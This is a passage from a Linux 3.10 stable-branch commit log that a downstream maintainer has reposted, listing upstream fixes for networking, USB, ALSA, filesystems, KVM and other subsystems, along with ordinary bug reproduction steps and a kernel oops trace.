ff02::1:ffa1:40bf temp Fixes: 08b202b67264 ("bridge br_multicast: IPv6 MLD support.") Reported-by: Rik Theys Signed-off-by: Thadeu Lima de Souza Cascardo Tested-by: Rik Theys Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 872c1e0a965da4d5d38ec726d7f951549f120855 Author: Eric W. Biederman Date: Fri May 22 04:58:12 2015 -0500 ipv4: Avoid crashing in ip_error [ Upstream commit 381c759d9916c42959515ad34a6d467e24a88e93 ] ip_error does not check if in_dev is NULL before dereferencing it. IThe following sequence of calls is possible: CPU A CPU B ip_rcv_finish ip_route_input_noref() ip_route_input_slow() inetdev_destroy() dst_input() With the result that a network device can be destroyed while processing an input packet. A crash was triggered with only unicast packets in flight, and forwarding enabled on the only network device. The error condition was created by the removal of the network device. As such it is likely the that error code was -EHOSTUNREACH, and the action taken by ip_error (if in_dev had been accessible) would have been to not increment any counters and to have tried and likely failed to send an icmp error as the network device is going away. Therefore handle this weird case by just dropping the packet if !in_dev. It will result in dropping the packet sooner, and will not result in an actual change of behavior. Fixes: 251da4130115b ("ipv4: Cache ip_error() routes even when not forwarding.") Reported-by: Vittorio Gambaletta Tested-by: Vittorio Gambaletta Signed-off-by: Vittorio Gambaletta Signed-off-by: "Eric W. Biederman" Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35c7ef1eb630d7bef61d60b74619da7ee2494323 Author: Florian Fainelli Date: Fri May 15 16:30:41 2015 -0700 net: phy: Allow EEE for all RGMII variants [ Upstream commit 7e14069651591c81046ffaec13c3dac8cb70f5fb ] RGMII interfaces come in multiple flavors: RGMII with transmit or receive internal delay, no delays at all, or delays in both direction. This change extends the initial check for PHY_INTERFACE_MODE_RGMII to cover all of these variants since EEE should be allowed for any of these modes, since it is a property of the RGMII, hence Gigabit PHY capability more than the RGMII electrical interface and its delays. Fixes: a59a4d192166 ("phy: add the EEE support and the way to access to the MMD registers") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89e51e35be4aec6e28b66754ba17e670d02684f2 Author: Pranav Vashi Date: Fri Nov 18 22:49:18 2016 +0530 fs: Fix build with upstream merge Signed-off-by: Pranav Vashi commit 244f98ac269a576d717bbf4ca0c729ece7dc220f Author: Greg Kroah-Hartman Date: Fri Jun 5 23:20:14 2015 -0700 Linux 3.10.80 Signed-off-by: Pranav Vashi commit e972dda1b55e45ec4143764665cccfee83023d3d Author: Andrew Morton Date: Thu May 28 15:44:24 2015 -0700 fs/binfmt_elf.c:load_elf_binary(): return -EINVAL on zero-length mappings commit 2b1d3ae940acd11be44c6eced5873d47c2e00ffa upstream. load_elf_binary() returns `retval', not `error'. Fixes: a87938b2e246b81b4fb ("fs/binfmt_elf.c: fix bug in loading of PIE binaries") Reported-by: James Hogan Cc: Michael Davidson Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 38a2fe213e3388c1a30ccf11cb709b85b56813ed Author: Rafael J. Wysocki Date: Thu May 7 21:19:39 2015 +0200 ACPI / init: Fix the ordering of acpi_reserve_resources() commit b9a5e5e18fbf223502c0b2264c15024e393da928 upstream. Since acpi_reserve_resources() is defined as a device_initcall(), there's no guarantee that it will be executed in the right order with respect to the rest of the ACPI initialization code. On some systems this leads to breakage if, for example, the address range that should be reserved for the ACPI fixed registers is given to the PCI host bridge instead if the race is won by the wrong code path. Fix this by turning acpi_reserve_resources() into a void function and calling it directly from within the ACPI initialization sequence. Reported-and-tested-by: George McCollister Link: http://marc.info/?t=143092384600002&r=1&w=2 Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d9f3fd0620d600e9adf07aa99de899c17585dd0 Author: Benjamin Tissoires Date: Thu Apr 23 09:08:43 2015 -0700 Input: elantech - fix semi-mt protocol for v3 HW commit 3c0213d17a09601e0c6c0ae0e27caf70d988290f upstream. When the v3 hardware sees more than one finger, it uses the semi-mt protocol to report the touches. However, it currently works when num_fingers is 0, 1 or 2, but when it is 3 and above, it sends only 1 finger as if num_fingers was 1. This confuses userspace which knows how to deal with extra fingers when all the slots are used, but not when some are missing. Fixes: https://bugs.freedesktop.org/show_bug.cgi?id=90101 Signed-off-by: Benjamin Tissoires Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 39286542015dc523d94e681c0a7f3d9c9749f8c4 Author: Larry Finger Date: Fri Apr 24 11:03:37 2015 -0500 rtlwifi: rtl8192cu: Fix kernel deadlock commit 414b7e3b9ce8b0577f613e656fdbc36b34b444dd upstream. The USB mini-driver in rtlwifi, which is used by rtl8192cu, issues a call to usb_control_msg() with a timeout value of 0. In some instances where the interface is shutting down, this infinite wait results in a CPU deadlock. A one second timeout fixes this problem without affecting any normal operations. This bug is reported at https://bugzilla.novell.com/show_bug.cgi?id=927786. Reported-by: Bernhard Wiedemann Tested-by: Bernhard Wiedemann Signed-off-by: Larry Finger Cc: Bernhard Wiedemann Cc: Takashi Iwai Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d1370ba9e1e5ebecc33328c657cbd0686bf90f1 Author: NeilBrown Date: Fri May 8 18:19:34 2015 +1000 md/raid5: don't record new size if resize_stripes fails. commit 6e9eac2dcee5e19f125967dd2be3e36558c42fff upstream. If any memory allocation in resize_stripes fails we will return -ENOMEM, but in some cases we update conf->pool_size anyway. This means that if we try again, the allocations will be assumed to be larger than they are, and badness results. So only update pool_size if there is no error. This bug was introduced in 2.6.17 and the patch is suitable for -stable. Fixes: ad01c9e3752f ("[PATCH] md: Allow stripes to be expanded in preparation for expanding an array") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a4010a29941e79ec4e9c192a0d10cb93ea2d480d Author: Scott Mayhew Date: Tue Apr 28 16:29:53 2015 -0400 svcrpc: fix potential GSSX_ACCEPT_SEC_CONTEXT decoding failures commit 9507271d960a1911a51683888837d75c171cd91f upstream. In an environment where the KDC is running Active Directory, the exported composite name field returned in the context could be large enough to span a page boundary. Attaching a scratch buffer to the decoding xdr_stream helps deal with those cases. The case where we saw this was actually due to behavior that's been fixed in newer gss-proxy versions, but we're fixing it here too. Signed-off-by: Scott Mayhew Reviewed-by: Simo Sorce Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b8ed453c4f24e903973c399813312562f4a7f154 Author: Russell King Date: Fri May 15 11:02:23 2015 +0100 ARM: fix missing syscall trace exit commit 1b97937246d8b97c0760d16d8992c7937bdf5e6a upstream. Josh Stone reports: I've discovered a case where both arm and arm64 will miss a ptrace syscall-exit that they should report. If the syscall is entered without TIF_SYSCALL_TRACE set, then it goes on the fast path. It's then possible to have TIF_SYSCALL_TRACE added in the middle of the syscall, but ret_fast_syscall doesn't check this flag again. Fix this by always checking for a syscall trace in the fast exit path. Reported-by: Josh Stone Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5ad1ef701f52b26aa976cdbfec6e3f96459dc221 Author: Philippe Reynes Date: Wed May 13 00:18:26 2015 +0200 ARM: dts: imx27: only map 4 Kbyte for fec registers commit a29ef819f3f34f89a1b9b6a939b4c1cdfe1e85ce upstream. According to the imx27 documentation, fec has a 4 Kbyte memory space map. Moreover, the actual 16 Kbyte mapping overlaps the SCC (Security Controller) memory register space. So, we reduce the memory register space to 4 Kbyte. Signed-off-by: Philippe Reynes Acked-by: Uwe Kleine-König Fixes: 9f0749e3eb88 ("ARM i.MX27: Add devicetree support") Signed-off-by: Shawn Guo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee2e4f886e5bd39baeb1a072c4982d8ee79b36b5 Author: Harald Freudenberger Date: Thu May 21 10:01:11 2015 +0200 crypto: s390/ghash - Fix incorrect ghash icv buffer handling. commit a1cae34e23b1293eccbcc8ee9b39298039c3952a upstream. Multitheaded tests showed that the icv buffer in the current ghash implementation is not handled correctly. A move of this working ghash buffer value to the descriptor context fixed this. Code is tested and verified with an multithreaded application via af_alg interface. Signed-off-by: Harald Freudenberger Signed-off-by: Gerald Schaefer Reported-by: Herbert Xu Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 04605b328cde023f98e6f97948af20926910b8db Author: Scott Branden Date: Mon Mar 16 10:59:52 2015 -0700 rt2x00: add new rt2800usb device DWA 130 commit ea345c145ff23197eab34d0c4d0c8a93d7bea8c6 upstream. Add the USB Id to link the D-Link DWA 130 USB Wifi adapter to the rt2830 driver. Signed-off-by: Scott Branden Signed-off-by: Pieter Truter Signed-off-by: Kalle Valo Cc: Larry Finger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 369ddb64ca4bd3385637f150ce0de79d10e88d28 Author: Gabriele Mazzotta Date: Sat Apr 25 19:52:37 2015 +0200 libata: Ignore spurious PHY event on LPM policy change commit 09c5b4803a80a5451d950d6a539d2eb311dc0fb1 upstream. When the LPM policy is set to ATA_LPM_MAX_POWER, the device might generate a spurious PHY event that cuases errors on the link. Ignore this event if it occured within 10s after the policy change. The timeout was chosen observing that on a Dell XPS13 9333 these spurious events can occur up to roughly 6s after the policy change. Link: http://lkml.kernel.org/g/3352987.ugV1Ipy7Z5@xps13 Signed-off-by: Gabriele Mazzotta Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da484fa855b4aeae601ffc5d43b2c0016bbcddaf Author: Gabriele Mazzotta Date: Sat Apr 25 19:52:36 2015 +0200 libata: Add helper to determine when PHY events should be ignored commit 8393b811f38acdf7fd8da2028708edad3e68ce1f upstream. This is a preparation commit that will allow to add other criteria according to which PHY events should be dropped. Signed-off-by: Gabriele Mazzotta Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a011f9a3ba214714cd4d253d8fa970013ee015e6 Author: Eryu Guan Date: Thu May 14 19:00:45 2015 -0400 ext4: check for zero length extent explicitly commit 2f974865ffdfe7b9f46a9940836c8b167342563d upstream. The following commit introduced a bug when checking for zero length extent 5946d08 ext4: check for overlapping extents in ext4_valid_extent_entries() Zero length extent could pass the check if lblock is zero. Adding the explicit check for zero length back. Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 755351e8a53233b4564826aceeb58aa68ccc2398 Author: Ludovic Desroches Date: Wed May 6 15:16:46 2015 +0200 mmc: atmel-mci: fix bad variable type for clkdiv commit 60c8f783a18feb95ad967c87e9660caf09fb4700 upstream. clkdiv is declared as an u32 but it can be set to a negative value causing a huge divisor value. Change its type to int to avoid this case. Signed-off-by: Ludovic Desroches Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfeb0410341b46e4e82175c79f06c42b57835b08 Author: Anton Blanchard Date: Thu May 14 14:45:40 2015 +1000 powerpc: Align TOC to 256 bytes commit 5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 upstream. Recent toolchains force the TOC to be 256 byte aligned. We need to enforce this alignment in our linker script, otherwise pointers to our TOC variables (__toc_start, __prom_init_toc_start) could be incorrect. If they are bad, we die a few hundred instructions into boot. Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0f0b4b101f993cedb39e49ac4bdb0b27493054d Author: Krzysztof Opasiak Date: Fri Mar 20 15:48:56 2015 +0100 usb: gadget: configfs: Fix interfaces array NULL-termination commit 903124fe1aa284f61745a9dd4fbfa0184e569fff upstream. memset() to 0 interfaces array before reusing usb_configuration structure. This commit fix bug: ln -s functions/acm.1 configs/c.1 ln -s functions/acm.2 configs/c.1 ln -s functions/acm.3 configs/c.1 echo "UDC name" > UDC echo "" > UDC rm configs/c.1/acm.* rmdir functions/* mkdir functions/ecm.usb0 ln -s functions/ecm.usb0 configs/c.1 echo "UDC name" > UDC [ 82.220969] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 82.229009] pgd = c0004000 [ 82.231698] [00000000] *pgd=00000000 [ 82.235260] Internal error: Oops: 17 [#1] PREEMPT SMP ARM [ 82.240638] Modules linked in: [ 82.243681] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.0.0-rc2 #39 [ 82.249926] Hardware name: SAMSUNG EXYNOS (Flattened Device Tree) [ 82.256003] task: c07cd2f0 ti: c07c8000 task.ti: c07c8000 [ 82.261393] PC is at composite_setup+0xe3c/0x1674 [ 82.266073] LR is at composite_setup+0xf20/0x1674 [ 82.270760] pc : [] lr : [] psr: 600001d3 [ 82.270760] sp : c07c9df0 ip : c0806448 fp : ed8c9c9c [ 82.282216] r10: 00000001 r9 : 00000000 r8 : edaae918 [ 82.287425] r7 : ed551cc0 r6 : 00007fff r5 : 00000000 r4 : ed799634 [ 82.293934] r3 : 00000003 r2 : 00010002 r1 : edaae918 r0 : 0000002e [ 82.300446] Flags: nZCv IRQs off FIQs off Mode SVC_32 ISA ARM Segment kernel [ 82.307910] Control: 10c5387d Table: 6bc1804a DAC: 00000015 [ 82.313638] Process swapper/0 (pid: 0, stack limit = 0xc07c8210) [ 82.319627] Stack: (0xc07c9df0 to 0xc07ca000) [ 82.323969] 9de0: 00000000 c06e65f4 00000000 c07c9f68 [ 82.332130] 9e00: 00000067 c07c59ac 000003f7 edaae918 ed8c9c98 ed799690 eca2f140 200001d3 [ 82.340289] 9e20: ee79a2d8 c07c9e88 c07c5304 ffff55db 00010002 edaae810 edaae860 eda96d50 [ 82.348448] 9e40: 00000009 ee264510 00000007 c07ca444 edaae860 c0340890 c0827a40 ffff55e0 [ 82.356607] 9e60: c0827a40 eda96e40 ee264510 edaae810 00000000 edaae860 00000007 c07ca444 [ 82.364766] 9e80: edaae860 c0354170 c03407dc c033db4c edaae810 00000000 00000000 00000010 [ 82.372925] 9ea0: 00000032 c0341670 00000000 00000000 00000001 eda96e00 00000000 00000000 [ 82.381084] 9ec0: 00000000 00000032 c0803a23 ee1aa840 00000001 c005d54c 249e2450 00000000 [ 82.389244] 9ee0: 200001d3 ee1aa840 ee1aa8a0 ed84f4c0 00000000 c07c9f68 00000067 c07c59ac [ 82.397403] 9f00: 00000000 c005d688 ee1aa840 ee1aa8a0 c07db4b4 c006009c 00000032 00000000 [ 82.405562] 9f20: 00000001 c005ce20 c07c59ac c005cf34 f002000c c07ca780 c07c9f68 00000057 [ 82.413722] 9f40: f0020000 413fc090 00000001 c00086b4 c000f804 60000053 ffffffff c07c9f9c [ 82.421880] 9f60: c0803a20 c0011fc0 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c [ 82.430040] 9f80: c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0 [ 82.438199] 9fa0: c000f800 c000f804 60000053 ffffffff 00000000 c0050e70 c0803bc0 c0783bd8 [ 82.446358] 9fc0: ffffffff ffffffff c0783664 00000000 00000000 c07b13e8 00000000 c0803e54 [ 82.454517] 9fe0: c07ca480 c07b13e4 c07ce40c 4000406a 00000000 40008074 00000000 00000000 [ 82.462689] [] (composite_setup) from [] (s3c_hsotg_complete_setup+0xb4/0x418) [ 82.471626] [] (s3c_hsotg_complete_setup) from [] (usb_gadget_giveback_request+0xc/0x10) [ 82.481429] [] (usb_gadget_giveback_request) from [] (s3c_hsotg_complete_request+0xcc/0x12c) [ 82.491583] [] (s3c_hsotg_complete_request) from [] (s3c_hsotg_irq+0x4fc/0x558) [ 82.500614] [] (s3c_hsotg_irq) from [] (handle_irq_event_percpu+0x50/0x150) [ 82.509291] [] (handle_irq_event_percpu) from [] (handle_irq_event+0x3c/0x5c) [ 82.518145] [] (handle_irq_event) from [] (handle_fasteoi_irq+0xd4/0x18c) [ 82.526650] [] (handle_fasteoi_irq) from [] (generic_handle_irq+0x20/0x30) [ 82.535242] [] (generic_handle_irq) from [] (__handle_domain_irq+0x6c/0xdc) [ 82.543923] [] (__handle_domain_irq) from [] (gic_handle_irq+0x2c/0x6c) [ 82.552256] [] (gic_handle_irq) from [] (__irq_svc+0x40/0x74) [ 82.559716] Exception stack(0xc07c9f68 to 0xc07c9fb0) [ 82.564753] 9f60: 00000000 00000000 c07c9fb8 c001bee0 c07ca4f0 c057004c [ 82.572913] 9f80: c07ca4fc c0803a20 c0803a20 413fc090 00000001 00000000 01000000 c07c9fb0 [ 82.581069] 9fa0: c000f800 c000f804 60000053 ffffffff [ 82.586113] [] (__irq_svc) from [] (arch_cpu_idle+0x30/0x3c) [ 82.593491] [] (arch_cpu_idle) from [] (cpu_startup_entry+0x128/0x1a4) [ 82.601740] [] (cpu_startup_entry) from [] (start_kernel+0x350/0x3bc) [ 82.609890] Code: 0a000002 e3530005 05975010 15975008 (e5953000) [ 82.615965] ---[ end trace f57d5f599a5f1bfa ]--- Most of kernel code assume that interface array in struct usb_configuration is NULL terminated. When gadget is composed with configfs configuration structure may be reused for different functions set. This bug happens because purge_configs_funcs() sets only next_interface_id to 0. Interface array still contains pointers to already freed interfaces. If in second try we add less interfaces than earlier we may access unallocated memory when trying to get interface descriptors. Signed-off-by: Krzysztof Opasiak Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7ef08a1252e1549327e50529b52cb82b80e23ef Author: Hans de Goede Date: Thu Apr 30 11:09:44 2015 +0200 usb-storage: Add NO_WP_DETECT quirk for Lacie 059f:0651 devices commit 172115090f5e739660b97694618a2ba86457063a upstream. Without this flag some versions of these enclosures do not work. Reported-and-tested-by: Christian Schaller Signed-off-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a5c0f85099a082b2255d4d8f09a15331636e7bd Author: Mark Edwards Date: Tue Apr 14 08:52:34 2015 -0400 USB: cp210x: add ID for KCF Technologies PRN device commit c735ed74d83f8ecb45c4c4c95a16853c9c3c8157 upstream. Added the USB serial console device ID for KCF Technologies PRN device which has a USB port for its serial console. Signed-off-by: Mark Edwards Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c331032f5a75edc95cd612e0fafef061caff8d9 Author: Jason A. Donenfeld Date: Wed Apr 22 14:35:08 2015 +0200 USB: pl2303: Remove support for Samsung I330 commit 48ef23a4f686b1e4519d4193c20d26834ff810ff upstream. This phone is already supported by the visor driver. Signed-off-by: Jason A. Donenfeld Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e5d87d1478f639bd741522ea6bca714b9eae886 Author: Jason A. Donenfeld Date: Wed Apr 22 14:35:09 2015 +0200 USB: visor: Match I330 phone more precisely commit 82ee3aeb9295c5fc37fd2ddf20f13ac2b40ec97d upstream. Samsung has just released a portable USB3 SSD, coming in a very small and nice form factor. It's USB ID is 04e8:8001, which unfortunately is already used by the Palm Visor driver for the Samsung I330 phone cradle. Having pl2303 or visor pick up this device ID results in conflicts with the usb-storage driver, which handles the newly released portable USB3 SSD. To work around this conflict, I've dug up a mailing list post [1] from a long time ago, in which a user posts the full USB descriptor information. The most specific value in this appears to be the interface class, which has value 255 (0xff). Since usb-storage requires an interface class of 0x8, I believe it's correct to disambiguate the two devices by matching on 0xff inside visor. [1] http://permalink.gmane.org/gmane.linux.usb.user/4264 Signed-off-by: Jason A. Donenfeld Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cc42c3ea89eb38c3e333e662e19407b7a0ca6dd Author: Joe Lawrence Date: Thu Apr 30 17:16:04 2015 +0300 xhci: gracefully handle xhci_irq dead device commit 948fa13504f80b9765d2b753691ab94c83a10341 upstream. If the xHCI host controller has died (ie, device removed) or suffered other serious fatal error (STS_FATAL), then xhci_irq should handle this condition with IRQ_HANDLED instead of -ESHUTDOWN. Signed-off-by: Joe Lawrence Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95a3f88d2c27031f74f0f385f6f6924cfddc6270 Author: Mathias Nyman Date: Thu Apr 30 17:16:03 2015 +0300 xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 commit 18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 upstream. Our event ring consists of only one segment, and we risk filling the event ring in case we get isoc transfers with short intervals such as webcams that fill a TD every microframe (125us) With 64 TRB segment size one usb camera could fill the event ring in 8ms. A setup with several cameras and other devices can fill up the event ring as it is shared between all devices. This has occurred when uvcvideo queues 5 * 32TD URBs which then get cancelled when the video mode changes. The cancelled URBs are returned in the xhci interrupt context and blocks the interrupt handler from handling the new events. A full event ring will block xhci from scheduling traffic and affect all devices conneted to the xhci, will see errors such as Missed Service Intervals for isoc devices, and and Split transaction errors for LS/FS interrupt devices. Increasing the TRB_PER_SEGMENT will also increase the default endpoint ring size, which is welcome as for most isoc transfer we had to dynamically expand the endpoint ring anyway to be able to queue the 5 * 32TDs uvcvideo queues. The default size used to be 64 TRBs per segment Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d3cb9ee8a41d95a15bea654cd484c2e3d750cfb Author: Mathias Nyman Date: Thu Apr 30 17:16:02 2015 +0300 xhci: fix isoc endpoint dequeue from advancing too far on transaction error commit d104d0152a97fade389f47635b73a9ccc7295d0b upstream. Isoc TDs usually consist of one TRB, sometimes two. When all goes well we receive only one success event for a TD, and move the dequeue pointer to the next TD. This fails if the TD consists of two TRBs and we get a transfer error on the first TRB, we will then see two events for that TD. Fix this by making sure the event we get is for the last TRB in that TD before moving the dequeue pointer to the next TD. This will resolve some of the uvc and dvb issues with the "ERROR Transfer event TRB DMA ptr not part of current TD" error message Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bbbe9a3eeb454cd494a09ee8a281aa80c5a5bacc Author: Andy Grover Date: Fri May 22 14:07:44 2015 -0700 target/pscsi: Don't leak scsi_host if hba is VIRTUAL_HOST commit 5a7125c64def3b21f8147eca8b54949a60963942 upstream. See https://bugzilla.redhat.com/show_bug.cgi?id=1025672 We need to put() the reference to the scsi host that we got in pscsi_configure_device(). In VIRTUAL_HOST mode it is associated with the dev_virt, not the hba_virt. Signed-off-by: Andy Grover Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e4f61da4b81de3019ca8623311b639e018edaaac Author: Zidan Wang Date: Tue May 12 14:58:50 2015 +0800 ASoC: wm8994: correct BCLK DIV 348 to 384 commit 17fc2e0a3db11889e942c5ab15a1fcb876638f25 upstream. According to the RM of wm8958, BCLK DIV 348 doesn't exist, correct it to 384. Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e3949b2db676da912b6122fa8c32c70331cdcde9 Author: Zidan Wang Date: Tue May 12 14:58:36 2015 +0800 ASoC: wm8960: fix "RINPUT3" audio route error commit 85e36a1f4a735d991ba5106781ea48e89a0b8901 upstream. It should be "RINPUT3" instead of "LINPUT3" route to "Right Input Mixer". Signed-off-by: Zidan Wang Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7aed5f0ff07ad1789f2aaa3d1ede274e564c130 Author: Axel Lin Date: Mon Apr 27 14:51:35 2015 +0800 ASoC: mc13783: Fix wrong mask value used in mc13xxx_reg_rmw() calls commit 545774bd6e1427d98dde77244329d2311c5eca6f upstream. mc13xxx_reg_rmw() won't change any bit if passing 0 to the mask field. Pass AUDIO_SSI_SEL instead of 0 for the mask field to set AUDIO_SSI_SEL bit. Signed-off-by: Axel Lin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50315012de6777ab29996d2babca132cba01e14a Author: Takashi Iwai Date: Fri May 1 09:20:34 2015 +0200 ALSA: hda - Add headphone quirk for Lifebook E752 commit 88776f366ede7d9cdce60bd2c9753dd6d6fa8b77 upstream. Fujitsu Lifebook E752 laptop needs a similar quirk done for Lifebook T731. Otherwise the headphone is always muted. Reported-and-tested-by: Christian Weber Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c857d042cc74b3d20225411cbb7c530ad80e35b Author: David Henningsson Date: Wed May 13 13:28:54 2015 +0200 ALSA: hda - Add Conexant codecs CX20721, CX20722, CX20723 and CX20724 commit 6ffc0898b29a2811a6c0569c5dd9b581980110df upstream. This patch adds support for Conexant HD Audio codecs CX20721, CX20722, CX20723 and CX20724. BugLink: https://bugs.launchpad.net/bugs/1454656 Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd4e836d83f43d9b5b14a9d9105fb0b9286b9830 Author: Al Viro Date: Thu May 28 23:09:19 2015 -0400 d_walk() might skip too much commit 2159184ea01e4ae7d15f2017e296d4bc82d5aeb0 upstream. when we find that a child has died while we'd been trying to ascend, we should go into the first live sibling itself, rather than its sibling. Off-by-one in question had been introduced in "deal with deadlock in d_walk()" and the fix needs to be backported to all branches this one has been backported to. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 538ef6a0e1a491e014e40667702e790d32fefb5d Author: Jan Kara Date: Tue Jun 2 17:10:28 2015 +0200 lib: Fix strnlen_user() to not touch memory after specified maximum commit f18c34e483ff6b1d9866472221e4015b3a4698e4 upstream. If the specified maximum length of the string is a multiple of unsigned long, we would load one long behind the specified maximum. If that happens to be in a next page, we can hit a page fault although we were not expected to. Fix the off-by-one bug in the test whether we are at the end of the specified range. Signed-off-by: Jan Kara Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b2353fc8523080f3285def127af587a486643478 Author: Chris Lesiak Date: Tue May 26 15:40:44 2015 -0500 hwmon: (ntc_thermistor) Ensure iio channel is of type IIO_VOLTAGE commit adba657533bdd255f7b78bc8a324091f46b294cd upstream. When configured via device tree, the associated iio device needs to be measuring voltage for the conversion to resistance to be correct. Return -EINVAL if that is not the case. Signed-off-by: Chris Lesiak Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa8ed8ff65f0b3fdb74556758141d6b02273979a Author: Ilya Dryomov Date: Mon May 11 17:53:10 2015 +0300 libceph: request a new osdmap if lingering request maps to no osd commit b0494532214bdfbf241e94fabab5dd46f7b82631 upstream. This commit does two things. First, if there are any homeless lingering requests, we now request a new osdmap even if the osdmap that is being processed brought no changes, i.e. if a given lingering request turned homeless in one of the previous epochs and remained homeless in the current epoch. Not doing so leaves us with a stale osdmap and as a result we may miss our window for reestablishing the watch and lose notifies. MON=1 OSD=1: # cat linger-needmap.sh #!/bin/bash rbd create --size 1 test DEV=$(rbd map test) ceph osd out 0 rbd map dne/dne # obtain a new osdmap as a side effect (!) sleep 1 ceph osd in 0 rbd resize --size 2 test # rbd info test | grep size -> 2M # blockdev --getsize $DEV -> 1M N.B.: Not obtaining a new osdmap in between "osd out" and "osd in" above is enough to make it miss that resize notify, but that is a bug^Wlimitation of ceph watch/notify v1. Second, homeless lingering requests are now kicked just like those lingering requests whose mapping has changed. This is mainly to recognize that a homeless lingering request makes no sense and to preserve the invariant that a registered lingering request is not sitting on any of r_req_lru_item lists. This spares us a WARN_ON, which commit ba9d114ec557 ("libceph: clear r_req_lru_item in __unregister_linger_request()") tried to fix the _wrong_ way. Signed-off-by: Ilya Dryomov Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0502a725f3f2075b627ed1a568be756104d2bf7c Author: Rusty Russell Date: Wed May 27 10:59:26 2015 +0930 lguest: fix out-by-one error in address checking. commit 83a35114d0e4583e6b0ca39502e68b6a92e2910c upstream. This bug has been there since day 1; addresses in the top guest physical page weren't considered valid. You could map that page (the check in check_gpte() is correct), but if a guest tried to put a pagetable there we'd check that address manually when walking it, and kill the guest. Signed-off-by: Rusty Russell Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1db66a581d826fa24b350397f128bfa9c4707793 Author: Sasha Levin Date: Thu May 28 15:44:29 2015 -0700 fs, omfs: add NULL terminator in the end up the token list commit dcbff39da3d815f08750552fdd04f96b51751129 upstream. match_token() expects a NULL terminator at the end of the token list so that it would know where to stop. Not having one causes it to overrun to invalid memory. In practice, passing a mount option that omfs didn't recognize would sometimes panic the system. Signed-off-by: Sasha Levin Signed-off-by: Bob Copeland Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a757c8bf88897df581a1cb0c2d677354f6fc9eb Author: Paolo Bonzini Date: Thu Apr 2 11:04:05 2015 +0200 KVM: MMU: fix CR4.SMEP=1, CR0.WP=0 with shadow pages commit 898761158be7682082955e3efa4ad24725305fc7 upstream. smep_andnot_wp is initialized in kvm_init_shadow_mmu and shadow pages should not be reused for different values of it. 